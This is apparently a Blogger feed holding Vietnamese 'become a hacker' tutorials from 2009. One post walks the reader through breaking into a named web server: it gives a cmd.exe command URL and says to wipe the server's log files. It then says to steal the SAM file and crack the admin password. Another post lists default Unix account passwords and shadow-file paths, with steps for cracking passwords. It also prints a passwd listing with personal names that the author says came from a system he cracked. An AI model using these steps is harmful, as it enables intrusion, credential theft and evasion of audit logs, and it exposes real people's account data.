&lt;br /&gt;Vậy là xong rùi đó , bạn hãy disconnect và đến start menu - &gt; find  rồi search computer `www.dodgyinc.com`. Khi tìm thấy , bạn vào explore , explore  NT sẽ mở ra bạn hay nhập user và passwd để mở nó ( của tôi là user : anhdenday  và passwd : toilahacker ) .
&lt;br /&gt;
&lt;br /&gt;Có một vấn đề là khi bạn xâm nhập hệ thống  này thì sẽ bị ghi lại , do đó để xoá dấu vết bạn hãy vào  `Winnt\system32\logfiles` mở file log đó rồI xoá những thông tin liên quan đến  bạn , rồI save chúng . Nếu bạn muốn lấy một thông báo gì về việc chia sẽ sự xâm  nhập thì bạn hãy thay đổi ngày tháng trên máy tính vớI URL sau :
&lt;br /&gt;
&lt;br /&gt;&lt;a href="http://www.dodgyinc.com/cgi-bin/cm" target="_blank"&gt;http://www.dodgyinc.com/cgi-bin/cm&lt;/a&gt; d.exe?/c%20date%2030/04/03 
&lt;br /&gt;
&lt;br /&gt;xong rồI bạn hãy xoá file `getadmin.exe`, và `gasys.dll` từ `cgi-bin` .  Mục đích khi ta xâm nhập hệ thống này là “chôm” pass của admin để lần sau xâm  nhập một cách hợp lệ , do đó bạn hãy tìm file SAM ( chứa pass của admin và  member ) trong hệ thống rồI dùng chương trình “l0pht *****” để ***** pass (  Hướng dẫn về cách sử dụng “l0pht ***** v 3.02” tôi đã post lên rồi ,các bạn hãy  tự nghiên cứu nhé ) . Đây là link : &lt;a href="http://vnhacker.org/forum/?act=ST&amp;amp;" target="_blank"&gt;http://vnhacker.org/forum/?act=ST&amp;amp;&lt;/a&gt; f=6&amp;amp;t=11566&amp;amp;s= 
&lt;br /&gt;Khi ***** xong các bạn đã có user và pass của admin rồI , bây giờ hãy xoá  account của user ( của tôi là “anhdenday” ) đi cho an toàn . Bạn đã có thể làm  gì trong hệ thống là tuỳ thích , nhưng các bạn đừng xoá hết tài liệu của họ nhé  , tội cho họ lắm .
&lt;br /&gt;Bạn cảm thấy thế nào , rắc rối lắm phải không . Lúc tôi  thử hack cách này , tôi đã mày mò mất cả 4 giờ , nếu như bạn đã quen thì lần thứ  2 bạn sẽ mất ít thờI gian hơn .
&lt;br /&gt;
&lt;br /&gt;Ở phần 3 tôi sẽ đề cập đến HĐH Linux ,  đến cách ngắt mật khẩu bảo vệ của một Web site , và làm thế nào để hack một  trang web đơn giản nhất .v.v…
&lt;br /&gt;
&lt;br /&gt;Hết phần 2
&lt;br /&gt;
&lt;br /&gt;&lt;span style="color: black;"&gt;Anhdenday
&lt;br /&gt;HVA&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;/div&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 1</title><link>http://blogthuthuatvn.blogspot.com/2009/10/nhung-hieu-biet-co-ban-nhat-e-tro-thanh.html</link><category>Câu chuyện IT</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Fri, 9 Oct 2009 02:22:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-4585894841419737443</guid><description>&lt;title&gt;Hacker01&lt;/title&gt; &lt;meta content="Word.Document" name="ProgId"&gt; &lt;meta content="Microsoft Word 9" name="Generator"&gt; &lt;meta content="Microsoft Word 9" name="Originator"&gt;&lt;link href="./Hacker01_files/filelist.xml" rel="File-List"&gt;&lt;link href="./Hacker01_files/editdata.mso" rel="Edit-Time-Data"&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} &lt;/style&gt;  &lt;style&gt; &lt;!--  /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} a:link, span.MsoHyperlink 	{color:blue; 	text-decoration:underline; 	text-underline:single;} a:visited, span.MsoHyperlinkFollowed 	{color:purple; 	text-decoration:underline; 	text-underline:single;} span.highlight 	{mso-style-name:highlight;} @page Section1 	{size:21.0cm 842.0pt; 	margin:2.0cm 2.0cm 2.0cm 3.0cm; 	mso-header-margin:36.0pt; 	mso-footer-margin:36.0pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;  &lt;div class="Section1"&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;&lt;span lang="VI"  style="font-size:14pt;"&gt;ĐÂY LÀ 1 TRONG NHỮNG TÀI LIỆU CỔ LÂU ĐỜI ĐƯỢC LƯU TRUYỀN HẬU BỐI,CỔ ĐẾN NỖI CÓ 1 SỐ CÂU LỆNH KHÔNG SỬ DỤNG ĐƯỢC ĐƯỢC TRONG HỆ ĐIỀU HÀNH WINXP PRO, VÍ DỤ NHƯ CÂU LỆNH XEM ĐỊA CHỈ IP TĨNH TRONG MÁY....NHƯNG NÓ VẪN LÀ THỨ CƠ BẢN ,NỀN TẢNG QUÝ GIÁ CHO NHỮNG AI BƯỚC VÀO CON ĐƯỜNG ĐẦY MÊ LỰC..HACKER
&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="" lang="VI"&gt;&lt;b&gt;Nhiều bạn Newbie có hỏi tôi “ Hack  là như thế nào ? Làm sao để hack ?” Nhưng các bạn đã quên mất một điều là các  bạn cần phảI có kiến thức một cách tổng quát , hiểu các thuật ngữ mà những người  rành về mạng hay sử dụng . Riêng tôi thì chưa thật giỏi bao nhiêu nhưng qua  nghiên cứu tôi cũng đã tổng hợp được một số kiến thức cơ bản , muốn chia sẻ cho  tất cả các bạn , nhằm cùng các bạn học hỏi . Tôi sẽ không chịu trách nhiệm nếu  các bạn dùng nó để quậy phá ngườI khác . Các bạn có thể copy hoặc post trong các  trang Web khác nhưng hãy điền tiên tác giả ở dướI bài , tôn trọng bài viết này  cũng chính là tôn trọng tôi và công sức của tôi , đồng thờI cũng tôn trọng chính  bản thân các bạn . Trong này tôi cũng có chèn thêm một số cách hack , ***** và  ví dụ căn bản , các bạn có thể ứng dụng thử và nghiên cứu đọc nó để hiểu thêm ,  rồ khi bắt gặp một từ mà các bạn không hiểu thì hãy đọc bài này để biết , trong  này tôi có sử dụng một số ý của bài viết mà tôi thấy rất hay từ trang Web của  HVA , và các trang Web khác mà tôi đã từng ghé thăm . Xin cảm ơn những tác giả  đã viết những bài ấy . Bây giờ là vấn đề chính .  &lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;================================================== = =
&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;1  . ) Ta cần những gì để bắt đầu ?&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;Có thể nhiều bạn không đồng ý với  tôi nhưng cách tốt nhất để thực tập là các bạn hãy dùng HĐH Window 9X , rồI đến  các cái khác mạnh hơn đó là Linux hoặc Unix , dướI đây là những cái bạn cần có :
&lt;br /&gt;+ Một cái OS ( có thể là DOS , Window 9X , Linux , Unit ….)
&lt;br /&gt;+ Một cái  trang Web tốt ( HVA chẳng hạn hi`hi` greenbiggrin.gif greenbiggrin.gif )
&lt;br /&gt;+  Một bộ trình duyệt mạng tốt ( là Nescape , IE , nhưng tốt nhất có lẽ là Gozzila  )
&lt;br /&gt;+ Một công cụ chat tốt ( mIRC ,Yahoo Mass …..)
&lt;br /&gt;+ Telnet ( hoặc những  cái tương tự như nmap …)
&lt;br /&gt;+ Cái quan trọng nhất mà bất cứ ai muốn trở thành  một &lt;span class="highlight"&gt;hacker&lt;/span&gt; là đều phảI có một chút kiến thức về &lt;a href="http://www.ddth.com/autolink.php?id=10&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;lập trình&lt;/a&gt; ( C , C++ , Visual Basic , Pert …..)
&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;2 .  ) Thế nào là một địa chỉ IP ? &lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;_ Địa chỉ IP được chia thành 4 số giới  hạn từ 0 - 255. Mỗi số được lưu bởi 1 byte - &gt; !P có kicks thước là 4byte,  được chia thành các lớp địa chỉ. Có 3 lớp là A, B, và C. Nếu ở lớp A, ta sẽ có  thể có 16 triệu điạ chỉ, ở lớp B có 65536 địa chỉ. Ví dụ: Ở lớp B với  132.25,chúng ta có tất cả các địa chỉ từ 132.25.0.0 đến 132.25.255.255. Phần lớn  các địa chỉ ở lớp A llà sở hữu của các công ty hay của tổ chức. Một ISP thường  sở hữu một vài địa chỉ lớp B hoặc C. Ví dụ: Nếu địa chỉ IP của bạn là  132.25.23.24 thì bạn có thể xác định ISP của bạn là ai. ( có IP là 132.25.x.)
&lt;br /&gt;_ IP là từ viết tắt của Internet Protocol, trên Internet thì địa chỉ IP của  mỗI người là duy nhất và nó sẽ đạI diện cho chính ngườI đó, địa chỉ IP được sử  dụng bởi các máy tính khác nhau để nhận biết các máy tính kết nối giữa chúng.  Đây là lí do tại sao bạn lại bị IRC cấm, và là cách người ta tìm ra IP của bạn.
&lt;br /&gt;Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các  cách sau :
&lt;br /&gt;+ bạn lướt qua một trang web, IP của bạn bị ghi lại
&lt;br /&gt;+ trên  IRC, bất kì ai cũng có thể có IP của bạn
&lt;br /&gt;+ trên ICQ, mọi người có thể biết  IP của bạn, thậm chí bạn chọn ``do not show ip`` người ta vẫn lấy được nó
&lt;br /&gt;+  nếu bạn kết nối với một ai đó, họ có thế gõ ``systat –n ``, và biết được ai đang  kết nối đên họ
&lt;br /&gt;+ nếu ai đó gửi cho bạn một email với một đoạn mã java tóm  IP, họ cũng có thể tóm được IP của bạn
&lt;br /&gt;( Tài liệu của HVA )
&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;3 . )  Làm thế nào để biết được địa chỉ IP của mình ?&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;Run đánh lệnh  “winipcfg” .&lt;/span&gt;&lt;span  lang="VI" style="font-family:Symbol;"&gt;è&lt;/span&gt;&lt;span style="" lang="VI"&gt;_ Trong Window : vào Start
&lt;br /&gt;_ Trong mIRC : kết  nốI đến máy chủ sau đó đánh lệnh “/dns ”
&lt;br /&gt;_ Thông qua một số trang Web có  hiển thị IP .
&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;4 . ) IP Spoofing là gì ?&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;_ Một số IP có  mục đích để xác định một thiết bị duy nhất trên thế giới. Vì vậy trên mạng một  máy chủ có thể cho phép một thiết bị khác trao đổi dữ liệu qua lại mà không cần  kiểm tra máy chủ.
&lt;br /&gt;Tuy nhiên có thể thay đổi IP của bạn, nghĩa là bạn có thể  gởi một thông tin giả đến một máy khác mà máy đó sẽ tin rằng thông tin nhận được  xuất phát từ một máy nào đó (tất nhiên là không phải máy của bạn). Bạn có thể  vượt qua máy chủ mà không cần phải có quyền điều khiến máy chủ đó. Điều trở ngại  là ở chỗ những thông tin phản hồi từ máy chủ sẽ được gởi đến thiết bị có IP mà  chúng ta đã giả mạo. Vì vậy có thể bạn sẽ không có được sự phản hồi những thông  tin mà mình mong muốn. Có lẽ điều duy nhất mà spoof IP có hiệu quả là khi bạn  cần vượt qua firewall, trộm account và cần dấu thông tin cá nhân!
&lt;br /&gt;( Tài liệu  của HVA )
&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;5 . ) Trojan / worm / virus / logicbomb là cái gì ?&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;_ Trojan : Nói cho dễ hiểu thì đây là chương trình điệp viên được cài  vào máy của ngườI khác để ăn cắp nhũng tài liệu trên máy đó gửI về cho chủ nhân  của nó , Cái mà nó ăn cắp có thể là mật khẩu , accourt , hay cookie ………. tuỳ  theo ý muốn của ngườI cài nó .
&lt;br /&gt;_ virus : Nói cho dễ hiểu thì đây là chương  trình vớI những mã đặc biệt được cài ( hoặc lây lan từ máy khác ) lên máy của  nạn nhân và thực hiện những yêu cầu của mã đó , đa số virut được sử dụng để phá  hoạI dữ liệu hoặc phá hoạI máy tính .
&lt;br /&gt;_ worm : Đây là chương trình độc lập  có thể tự nhân bản bản thân nó và lây lan khắp bên trong mạng .Cũng giống như  Virut , nó cũng có thể phá hoạI dữ liệu , hoặc nó có thể phá hoạI bên trong mạng  , nhiều khi còn làm down cả mang đó .
&lt;br /&gt;_ logicbomb : Là chương trình gửi một  lúc nhiều gói dữ liệu cho cùng một địa chỉ , làm ngập lụt hệ thống , tắt nghẽn  đường truyền ( trên &lt;a href="http://www.ddth.com/autolink.php?id=5&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;server&lt;/a&gt; ) hoặc dùng làm công cụ để “khủng bố” đốI phương ( bom  Mail ) &lt;v:shapetype id="_x0000_t75" coordsize="21600,21600" preferrelative="t" spt="75" filled="f" stroked="f" path=" m@4@5 l@4@11@9@11@9@5 xe"&gt;&lt;v:stroke joinstyle="miter"&gt;&lt;/v:stroke&gt;&lt;v:formulas&gt;&lt;v:f eqn="if lineDrawn pixelLineWidth 0 "&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @0 1 0 "&gt;&lt;/v:f&gt;&lt;v:f eqn="sum 0 0 @1 "&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @2 1 2 "&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @3 21600 pixelWidth "&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @3 21600 pixelHeight "&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @0 0 1 "&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @6 1 2 "&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @7 21600 pixelWidth "&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @8 21600 0 "&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @7 21600 pixelHeight "&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @10 21600 0 "&gt;&lt;/v:f&gt;&lt;/v:formulas&gt;&lt;v:path extrusionok="f" gradientshapeok="t" connecttype="rect"&gt;&lt;/v:path&gt;&lt;o:lock aspectratio="t" ext="edit"&gt;&lt;/o:lock&gt;&lt;/v:shapetype&gt;&lt;v:shape id="_x0000_i1025" style="width: 15pt; height: 15pt;" type="#_x0000_t75" coordsize="21600,21600" alt=""&gt;&lt;/v:shape&gt;.
&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;6 . ) PGP là gì ?&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;_ PGP là viết tắt  của từ “Pretty Good Privacy” , đây là công cụ sử dụng sự mã hoá chìa khoá công  cộng để bảo vệ những hồ sơ Email và dữ liệu , là dạng mã hoá an toàn cao sử dụng  phần mềm cho MS_DOS , Unix , VAX/VMS và cho những dạng khác .
&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;7 . )  Proxy là gì ?&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;_Proxy cung cấp cho người sử dụng truy xuất internet  với những &lt;a href="http://www.ddth.com/autolink.php?id=1&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;host&lt;/a&gt; đơn. Những proxy &lt;a href="http://www.ddth.com/autolink.php?id=5&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;server&lt;/a&gt; phục vụ những nghi thức đặt biệt hoặc một tập những  nghi thức thực thi trên dual_homed &lt;a href="http://www.ddth.com/autolink.php?id=1&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;host&lt;/a&gt; hoặc basion &lt;a href="http://www.ddth.com/autolink.php?id=1&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;host&lt;/a&gt;. Những chương trình client của người sử dung sẽ qua trung  gian proxy &lt;a href="http://www.ddth.com/autolink.php?id=5&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;server&lt;/a&gt; thay thế cho server thật sự mà người sử dụng cần giao  tiếp. Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay  không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật  thay cho client và tiếp tục chuyển tiếp đến những yêu cầu từ clientđến server,  cũng như đáp ứng những yêu cầu của server đến client. Vì vậy proxy server giống  cầu nối trung gian giữa server và client .
&lt;br /&gt;_ Proxy cho user truy xuất dịch  vụ trên internet theo nghĩa trực tiếp. Với dual host homed cần phải login vào  host trước khi sử dụng dịch vụ nào trên internet. Điều này thường không tiện  lợi, và một số người trể nên thất vọng khi họ có cảm giác thông qua firewall,  với proxy nó giải quyết được vấn đề này. Tất nhiên nó còn có những giao thức mới  nhưng nói chung nó cũng khá tiện lợi cho user. Bởi vì proxy cho phép user truy  xuất những dịch vụ trên internet từ hệ thống cá nhân của họ, vì vậy nó không cho  phép packet đi trực tiếp giữa hệ thống sử dụng và internet. đường đi là giáng  tiếp thông qua dual homed host hoặc thông qua sự kết hợp giữa bastion host và  screening rounter.
&lt;br /&gt;
&lt;br /&gt;( Bài viết của Z3RON3 – tài liệu của HVA )
&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;8 . ) Unix là gì ?&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;_ Unix là một hệ điều hành ( giống  Window ) .Nó hiện là hệ điều hành mạnh nhất , và thân thiết với các &lt;span class="highlight"&gt;Hacker&lt;/span&gt; nhất . Nếu bạn đã trở thành một &lt;span class="highlight"&gt;hacker&lt;/span&gt; thật sự thì HĐH này không thể thiếu đối vớI bạn .  Nó được sử dụng hỗ trợ cho &lt;a href="http://www.ddth.com/autolink.php?id=10&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;lập trình&lt;/a&gt; ngôn ngữ C .
&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;9 . ) Telnet là gì ?&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;_ Telnet là một chương trình cho phép ta kết nốI đến máy khác thông qua  cổng ( port ) . MọI máy tính hoặc máy chủ ( server ) đều có cổng , sau đây là  một số cổng thông dụng :
&lt;br /&gt;+ Port 21: FTP
&lt;br /&gt;+ Port 23: Telnet
&lt;br /&gt;+ Port 25:  SMTP (Mail)
&lt;br /&gt;+ Port 37: Time
&lt;br /&gt;+ Port 43: Whois
&lt;br /&gt;_ Ví dụ : bạn có thể  gọI Telnet để kết nốI đến mail.virgin.net trên port 25 .
&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;10 . ) Làm  thế nào để biết mình đã Telnet đến hệ thống Unix ?
&lt;br /&gt;&lt;/b&gt;_ Ok , tôi sẽ nói cho  bạn biết làm sao một hệ thống Unix có thể chào hỏI bạn khi bạn kết nối tới nó .  Đầu tiên , khi bạn gọi Unix , thông thường nó sẽ xuất hiện một dấu nhắc : “ Log  in : ” , ( tuy nhiên , chỉ với như vậy thì cũng chưa chắc chắn đây là Unix được  ngoạI trừ chúng xuất hiện thông báo ở trước chữ “ log in :” như ví dụ : Welcome  to SHUnix. Please log in ….)
&lt;br /&gt;Bây giờ ta đang ở tạI dấu nhắc “log in” , bạn  cần phảI nhập vào một account hợp lệ . Một account thông thường gồm có 8 đặc  tính hoặc hơn , sau khi bạn nhập account vào , bạn sẽ thấy có một mật khẩu , bạn  hãy thử nhập Default Password thử theo bảng sau :
&lt;br /&gt;
&lt;br /&gt;Account-------------------------Default Password
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Root----------------------------------------------- Root
&lt;br /&gt;Sys------------------------------------------------ Sys / System / Bin
&lt;br /&gt;Bin------------------------------------------------ -Sys / Bin
&lt;br /&gt;Mountfsy------------------------------------------M ountfsys
&lt;br /&gt;Nuuc----------------------------------------------- Anon
&lt;br /&gt;Anon----------------------------------------------- Anon
&lt;br /&gt;User----------------------------------------------- -User
&lt;br /&gt;Games---------------------------------------------G ames
&lt;br /&gt;Install-------------------------------------------- --Install
&lt;br /&gt;Demo----------------------------------------------- Demo
&lt;br /&gt;Guest---------------------------------------------- Guest
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;11  . ) shell account là cái gì ?&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;_ Một shell account cho phép bạn sử  dụng máy tính ở nhà bạn như thiết bị đầu cuốI ( terminal ) mà vớI nó bạn có thể  đánh lệnh đến một máy tính đang chạy Unix , “Shell” là chương trình có nhiệm vụ  dịch những ký tự của bạn gửi đến rồI đưa vào thực hiện lệnh của chương trình  Unix . VớI một shell account chính xác bạn có thể sử dụng được một trạm làm việc  mạnh hơn nhiều so vớI cái mà bạn có thể tưởng tượng đến được .
&lt;br /&gt;Bạn có thể  lấy được “shell account” miễn phí tạI trang Web &lt;a href="http://www.freeshell.com/" target="_blank"&gt;www.freeshell.com&lt;/a&gt; tuy nhiên  bạn sẽ không sử dụng được “telnet” cho đến khi bạn trả tiền cho nó .
&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;12 . ) Làm cách nào để bạn có thể Crack Unix account passwords ?&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;_ Rất đơn giản , tuy nhiên cách mà tôi nói vớI các bạn ở đây “lạc hậu”  rồI , các bạn có thể crack được chúng nếu các bạn may mắn , còn không thì các  bạn đọc để tham khảo .
&lt;br /&gt;_ Đầu tiên bạn hãy đăng nhập vào hệ thống có sử dụng  Unix như một khách hàng hoặc một ngườI khách ghé thăm , nếu may mắn bạn sẽ lấy  được mật khẩu được cất dấu trong những hệ thống chuẩn như :
&lt;br /&gt;
&lt;br /&gt;/etc/passwd
&lt;br /&gt;
&lt;br /&gt;mỗi hàng trong một hồ sơ passwd có một tài khoản khác nhau , nó giống  như hàng này :
&lt;br /&gt;
&lt;br /&gt;userid:password:userid#:groupid#:GECOS field:home  dir:shell
&lt;br /&gt;
&lt;br /&gt;trong đó :
&lt;br /&gt;+ userid = the user id name : tên đăng nhập :  có thể là một tên hoặc một số .
&lt;br /&gt;+ password : mật mã . Dùng để làm gì hẳn các  bạn cũng biết rồI .
&lt;br /&gt;+ userid# : là một số duy nhất đựơc thông báo cho ngườI  đăng ký khi họ đăng ký mớI ở lần đầu tiên .
&lt;br /&gt;+ groupid# : tương tự như  userid# , nhưng nó được dùng cho những ngườI đang ở trong nhóm nào đó ( như nhóm  Hunter Buq của HVA chẳng hạn )
&lt;br /&gt;+ GECOS FIELD : đây là nơi chứa thông tin cho  ngườI sử dụng , trong đó có họ tên đầy đủ , số điện thoại , địa chỉ v.v…. . Đây  cũng là nguồn tốt để ta dễ dàng ***** một mật khẩu .
&lt;br /&gt;+ home dir : là thư mục  ghi lạI hoạt động của người khách khi họ ghé thăm ( giống như mục History trong  IE vậy )
&lt;br /&gt;+ Shell : đây là tên của shell mà nó tự động bắt đầu khi ta login .
&lt;br /&gt;_ Hãy lấy file password , lấy file text đã mã hoá về , sau đó bạn dùng  chương trình ``CrackerJack`` hoặc ``John the Ripper`` để ***** .
&lt;br /&gt;_ Các bạn  thấy cũng khá dễ phảI không ? Sai bét , không dễ dàng và may mắn để bạn có thể  ***** được vì hầu hết bây giờ họ cất rất kỹ , hãy đọc tiếp bạn sẽ thấy khó khăn  chỗ nào .
&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;13 . ) shadowed password là cái gì ?&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;_ Một  shadowed password được biết đến là trong file Unix passwd , khi bạn nhập một mật  khẩu , thì ngườI khác chỉ thấy được trình đơn của nó ( như ký hiệu “ X ” hoặc “  * ” ) . Cái này thông báo cho bạn biết là file passwd đã được cất giữ ở nơi khác  , nơi mà một ngườI sử dụng bình thường không thể đến được . Không lẽ ta đành bó  tay , dĩ nhiên là đốI vớI một &lt;span class="highlight"&gt;hacker&lt;/span&gt; thì không rùi  , ta không đến được trực tiếp file shadowed password thì ta hãy tìm file sao lưu  của nó , đó là file Unshadowed .
&lt;br /&gt;Những file này trên hệ thống của Unix không  cố định , bạn hãy thử vớI lần lượt những đường dẫn sau :
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;AIX 3  /etc/security/passwd !
&lt;br /&gt;or /tcb/auth/files/ /
&lt;br /&gt;A/UX 3.0s  /tcb/files/auth/?/ *
&lt;br /&gt;BSD4.3-Reno /etc/master.passwd *
&lt;br /&gt;ConvexOS 10  /etc/shadpw *
&lt;br /&gt;ConvexOS 11 /etc/shadow *
&lt;br /&gt;DG/UX /etc/tcb/aa/user/ *
&lt;br /&gt;EP/IX /etc/shadow x
&lt;br /&gt;HP-UX /.secure/etc/passwd *
&lt;br /&gt;IRIX 5 /etc/shadow x
&lt;br /&gt;Linux 1.1 /etc/shadow *
&lt;br /&gt;OSF/1 /etc/passwd[.dir|.pag] *
&lt;br /&gt;SCO Unix  #.2.x /tcb/auth/files/ /
&lt;br /&gt;SunOS4.1+c2 /etc/security/passwd.adjunct  =##username
&lt;br /&gt;SunOS 5.0 /etc/shadow
&lt;br /&gt;maps/tables/whatever &gt;
&lt;br /&gt;System V  Release 4.0 /etc/shadow x
&lt;br /&gt;System V Release 4.2 /etc/security/* database
&lt;br /&gt;Ultrix 4 /etc/auth[.dir|.pag] *
&lt;br /&gt;UNICOS /etc/udb =20
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Trước  dấu “ / ”đầu tiên của một hàng là tên của hệ thống tương ứng , hãy căn cứ vào hệ  thông thật sự bạn muốn lấy rồI lần theo đường dẫn phía sau dấu “/”đầu tiên .
&lt;br /&gt;Và cuốI cùng là những account passwd mà tôi từng ***** được , có thể bây giờ  nó đã hết hiệu lực rồI :
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;arif:x:1569:1000:Nguyen Anh  Chau:/udd/arif:/bin/ksh
&lt;br /&gt;arigo:x:1570:1000:Ryan Randolph:/udd/arigo:/bin/ksh
&lt;br /&gt;aristo:x:1573:1000:To Minh Phuong:/udd/aristo:/bin/ksh
&lt;br /&gt;armando:x:1577:1000:Armando Huis:/udd/armando:/bin/ksh
&lt;br /&gt;arn:x:1582:1000:Arn mett:/udd/arn:/bin/ksh
&lt;br /&gt;arne:x:1583:1000:Pham Quoc  Tuan:/udd/arne:/bin/ksh
&lt;br /&gt;aroon:x:1585:1000:Aroon Thakral:/udd/aroon:/bin/ksh
&lt;br /&gt;arozine:x:1586:1000: Mogielnicki:/udd/arozine:/bin/bash
&lt;br /&gt;arranw:x:1588:1000:Arran Whitaker:/udd/arranw:/bin/ksh
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Để bảo  đảm sự bí mật nên pass của họ tôi xoá đi và để vào đó là ký hiệu “ x ” , các bạn  hãy tìm hiểu thông tin có được từ chúng xem .
&lt;br /&gt;
&lt;br /&gt;Hết phần 1
&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;Tác  giả:&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt;&lt;b&gt;&lt;span style="" lang="VI"&gt;Anhdenday
&lt;br /&gt;HVA&lt;/span&gt;&lt;/b&gt;&lt;span style="" lang="VI"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;/div&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Những cuộc đối thoại với rookie-13</title><link>http://blogthuthuatvn.blogspot.com/2009/10/nhung-cuoc-oi-thoai-voi-rookie-13.html</link><category>Câu chuyện IT</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Fri, 9 Oct 2009 02:13:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-1939724897032416141</guid><description>&lt;span style="font-weight: bold; font-family: arial;"&gt;16. công cụ tiện ích hay đồ tra tấn: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Suốt nhiều tuần qua, tôi vùi đầu vào công việc. Các công trình đang đi vào giai đoạn chạy nước rút cho kịp hạn định nên tôi chẳng còn mấy thời gian để trao đổi với bộ bốn. Tôi vẫn nhận mail từ 'cuti', 'docco', 'haothu' và 'ccxx' khá đều đặn và không có chọn lựa nào khác hơn là trả lời qua quít và hẹn gặp lại trong vài tuần tới. Bộ bốn cũng có vẻ khá bận rộn với bài vở ở trường. Mỗi lần trả lời e-mail, tôi luôn luôn nhắc bộ bốn xem lại nội dung của những lần 'đà khía' trước đây và khuyên mấy trự ấy đào sâu vào các chi tiết quan trọng. Tuần sau 3/4 khối lượng công trình tôi đang làm sẽ hoàn tất, tôi gởi chung một e-mail đến bộ bốn và hẹn gặp nhau chiều thứ bảy. Tất nhiên cả bọn náo nức chờ đợi buổi tái ngộ sau một thời gian dài vì tôi nhận e-mail hồi đáp thật nhanh với nội dung thật hứa hẹn. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Hai giờ kém mười lăm, tôi vào YIM. Ngỡ rằng mình vào sớm nhưng không ngờ đã có 'ccxx' và 'cuti' đang 'vàng khè' online. Tôi chào hai trự: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;"Chào hai đứa, làm gì mà vô sớm vậy?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;'cuti' đáp lời bằng một cú invitation: &lt;/span&gt;&lt;br /&gt;&lt;span 